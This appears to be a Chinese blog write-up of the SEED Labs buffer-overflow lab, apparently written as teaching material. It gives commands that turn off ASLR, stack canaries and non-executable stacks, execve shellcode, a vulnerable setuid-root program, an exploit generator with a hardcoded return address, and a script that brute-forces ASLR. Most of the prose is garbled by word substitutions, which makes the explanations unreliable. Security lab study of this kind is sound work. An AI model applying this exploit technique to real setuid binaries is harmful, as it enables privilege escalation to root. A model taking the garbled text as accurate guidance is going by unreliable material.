关于网络安全:SeedLab-BufferOverflow-Vulnerability-Lab

7次阅读

共计 6049 个字符,预计需要花费 16 分钟才能阅读完成。

试验筹备

SeedLab 2016 版本 Buffer-Overflow Vulnerability Lab

把数据写在固定长度的缓冲区的里面, 然而程序在向缓冲区内写入数据时没有失去良好的爱护, 本人程序的栈构造就会被缓冲区外的数据毁坏, 这些数据中如果有 “ 不法分子 ” 就会进一步制作毁坏.

这个试验只须要一台虚拟机, 电脑难受一些.

试验领导 https://seedsecuritylabs.org/Labs_16.04/PDF/Buffer_Overflow.pdf

范志东 - 缓冲区溢出攻打 https://www.cnblogs.com/fanzhidongyzby/p/3250405.html

对于范同志的博客, 多嘴 BB 一下. 我大三的时候水过一门课, 如同叫什么编译系统啥来着, 完事老师就扔了一本《本人入手结构编译系统》让我自行处理, 就是他写的. 这哪能啊, 我最初抄了一早晨文档就提交了, 当初想来 … 两个毫无瓜葛的人可能再遇见那真是缘分 hhhhh.

须要留神的是, 文章中存在一些问题没解决, 或是有谬误的说法. 仅做参考.

Turning Off Countermeasures

敞开相干的防御机制

Address Space Randomization

零碎自带的地址空间随机化的机制.

sudo sysctl -w kernel.randomize_va_space=0

The StackGuard Protection Scheme

编译 C 文件的时候让 GCC 敞开栈爱护

gcc -fno-stack-protector example.c

Non-Executable Stack

不可执行栈. 这个应该和内存的 stack 与 heap 机制无关.

gcc -z execstack -o test test.c     # 栈可执行
gcc -z noexecstack -o test test.c   # 栈不可执行

参考

Configuring /bin/sh (Ubuntu 16.04 VM only)

/bin/sh 指向 /bin/dash, 而 dash 在 Ubuntu 16.04 增加了防御机制. 所以将 /bin/sh 指向 /bin/zsh

sudo ln -sf /bin/zsh /bin/sh

这里的 SET-UID 是做什么的?

T1 Running Shellcode

体验一下 shellcode

代码 task1.c

#include <stdio.h> 
#include <unistd.h>
int main() {char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL; 
    execve(name[0], name, NULL);
}

代码 call_shellcode.ctask1.c 的汇编版本.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"/* pushl   $0x68732f2f            */"\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

/**
 * 等价于: 
 * const char code[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
 */ 

int main(int argc, char **argv) {char buf[sizeof(code)]; 
    // buf 的长度为 25B, 与 code 统一. 为什么不间接应用 code? 据说是为了发明溢出. 
    strcpy(buf, code);
    // 这啥啊 ?
    ((void(*)()) buf)();} 

程序中间有一段 shellcode. 他的性能等价于 task1.c 的性能.

正文中的 shellcode 会难看一些, 它的长度为 25B, 理论字符有 24 个, 最初一个是 \0 完结符号. \x 在 C 中为 16 进制字符的结尾, 例如 \x31 为一个字符. shellcode 外面具体干了什么不重要, 晓得整体在干啥就行, 不影响前面试验.

领导中给出的 call_shellcode.c 没有引入 string.h, task1.c 没有引入 unistd.h.

gcc -z execstack -o call_shellcode call_shellcode.c
# or
gcc -z execstack -o task1 task1.c

这一步执行结束后会起一个新的 shell, 一个孤孤单单的 $.

The Vulnerable Program — stack.c

stack.c

/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str) {char buffer[BUF_SIZE];
    // buffer 只有 24B, 而 str 有 517B, 发明溢出. 
    strcpy(buffer, str);       
    return 1;
}

int main(int argc, char **argv) {char str[517];
    FILE *badfile;

    char dummy[BUF_SIZE];  
    memset(dummy, 0, BUF_SIZE);

    badfile = fopen("badfile", "r");
    // 从 badfile 文件中读取 517B 内容, 并交给 bof 办法. 
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

编译 stack.c 并批改文件用户与拜访权限.

gcc -DBUF_SIZE=24 -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack

T2 Exploiting the Vulnerability

这个工作在 exploit.c 中批改 buff, 增加适合的内容, 并写入 badfile 中. 这之后运行 stack.c, 如果一切正常, 能够失去一个 root shell.

exploit.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] = "...";

void main(int argc, char **argv) {char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 
    char jump[] = "\xbf\xff\xeb\xab";
    int offset_jump = 36; 
    for (int i = 0; i < sizeof(jump) - 1; i++) {buffer[offset_jump + i] = jump[sizeof(jump) - i - 2];
    }
    int offset_shell = 100;
    for (int i = 0; i < sizeof(shellcode); i++) {buffer[offset_shell + i] = shellcode[i];
    }

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

stack.c 中存在缓冲溢出的状况, 须要敞开栈爱护, 并容许栈执行.

代码解释与阐明

依照原理, 须要在 stack.c 中的 bof 函数的退出地址设置一个跳板, 跳板就是一个指向 shellcode 的地址. 而 shellcode 与跳板都在溢出的数据局部.
所以咱们须要设置跳板与相应的 shellcode, 并写入溢出的数据局部, 这也是 exploit.c 的次要工作.

13-21 行是次要批改内容.

char jump[] = "\xbf\xff\xeb\xab";

13 行中的 0xbfffebabstack.cstr 的地址加上了 100B 的后果. 为什么是 100B? 这里我把 shellcode 放在了 buffer 100B 的地位. 为什么是加? 依照内存的栈构造, 数组被加载入栈后, 是从低位地址向高位地址贮存的.

这个 str 地址能够利用 gdb p &str 打印进去 (应该是要在 main 函数这里打断点的, p 只能打印以后作用域的变量, 不是很精确.). 为什么不是 bof 函数中的 buffer 地址? 这个我不好说.

  • 对于 gdb 无奈打印 str 地址的状况
    具体起因不分明, 据说是 gcc 编译过程做了一些优化, 删除了不必要的货色, 然而这些货色又会对 gdb 的调试造成影响. 将 stack 的编译指令替换成: gcc -DBUF_SIZE=24 -gstabs+ -o stack -z execstack -fno-stack-protector stack.c 即可
int offset_jump = 36; 

14 行 offet_jump, 这个就是程序解体的中央, 利用 gdb run 一个精心设计过的 badfile, 会失去一个 invalid address, 同时 gdb 会说程序一共解决了 36B 的 buffer 数据. 我感觉这个非法地址就是 bof 的退出地址, 然而没有证据.

for (int i = 0; i < sizeof(jump) - 1; i++)

15 行的 for 这里要把跳板地址最初的 \0 去掉, jump 数组大小为 5B, 地址数据有 4B, 所以 sizeof 前面减了 1.

buffer[offset_jump + i] = jump[sizeof(jump) - i - 2];

16 行地址加载的时候是逆序, 这个也是 gdb 通知我的. 为什么是逆序? 我还没认真想过.

int offset_shell = 100;

18 行 offset_shell 这是 shellcode 绝对 str 的偏移量, 就是说我把 shellcode 放在了 buffer 数组的第 100 个 (0 计数) 单元之后, 也能够设置成其余的.

for (int i = 0; i < sizeof(shellcode); i++)

19 行的 sizeof 不要减一, 具体起因不明.

important 中的信息很重要. 优先编译 stack.c, 再编译 exploit.c.

操作流程

sudo sysctl -w kernel.randomize_va_space=0
sudo ln -sf /bin/zsh /bin/sh
gcc -DBUF_SIZE=24 -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
gcc -o exploit exploit.c
./exploit
./stack

后果

我依照上述操作流程试了几遍, 只能取得一个 $ 的 shell.
![上传中 …]()

我的小伙伴示意, 应用 VM Ware 在同样的环境以及同样的操作下能够有现实的后果.

T3 Defeating dash’s Countermeasure

之前说 dash 这个 shell 有些个问题, 会主动摈弃文件的 privilege. 当初尝试解决 dash 这个问题. 先把 shell 链接设置为 dash.

sudo ln -sf /bin/dash /bin/sh

领导还是给出了一份代码 dash_shell_test.c:

#include <stdio.h>
#include <sys/types.h> 
#include <unistd.h> 
int main() {char *argv[2]; 
    argv[0] = "/bin/sh";
    argv[1] = NULL;
    // setuid(0); 
    execve("/bin/sh", argv, NULL);
    return 0;
}

dash_shell_test.c 应该将文件归属设置为 root.

  • 先正文掉 8 行的 setuid 办法, 运行.

    gcc -o dash_shell_test dash_shell_test.c
    sudo chown root dash_shell_test
    ./dash_shell_test
    sudo chmod 4755 dash_shell_test

    能够失去一个 $ 的 shell.

  • 勾销正文 8 行的 setuid 办法, 运行.

    还是一个 $ 的 shell.

和 T2 一样, 很显著这里的试验后果有问题.

最初还给了一段 shellcode, 替换原先的 shellcode 反复 T2. 更换之后, 会显示 segmentation fault, 然而 gdb run 还是失常的, 依然是一个 $ 的 shell(bash).

T4 Defeating Address Randomization

想方法干掉地址随机化. 能够应用暴力破解的形式搞到须要的内存地址.

首先敞开地址随机化的机制.

用于暴力破解的脚本 brutal.sh

#!/bin/bash 
SECONDS=0
value=0
while [1] 
    do
    value=$(($value + 1)) 
    duration=$SECONDS 
    min=$(($duration / 60)) 
    sec=$(($duration % 60))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far." 
    ./stack
done

指令:

sudo /sbin/sysctl -w kernel.randomize_va_space=2
sh ./brutal.sh

这段脚本须要跑一段时间. 测试的次数不应该超过 2^19. 乘着这个工夫看一下 T5 和 T6.

这是后果, 大略用了两个小时.

T5 Turn on the StackGuard Protection

关上栈守卫爱护. 进行 T5 前先敞开地址随机化, 以便察看栈守卫的作用.

在 stack-protector 在场的状况反复之前的试验, 不出意外是有谬误的.

sudo sysctl -w kernel.randomize_va_space=0
?

T6 Turn on the Non-executable Stack Protection

关上不可执行栈的爱护.

和 T5 一样, 须要先敞开地址随机化, 以便察看不可执行栈的爱护机制.

反复 T2. 我 jio 得吧, 是会报错的. 直觉上, 可执行栈就像指针一样, 提供了对随便批改栈内地址操作的机会.

正文完
 0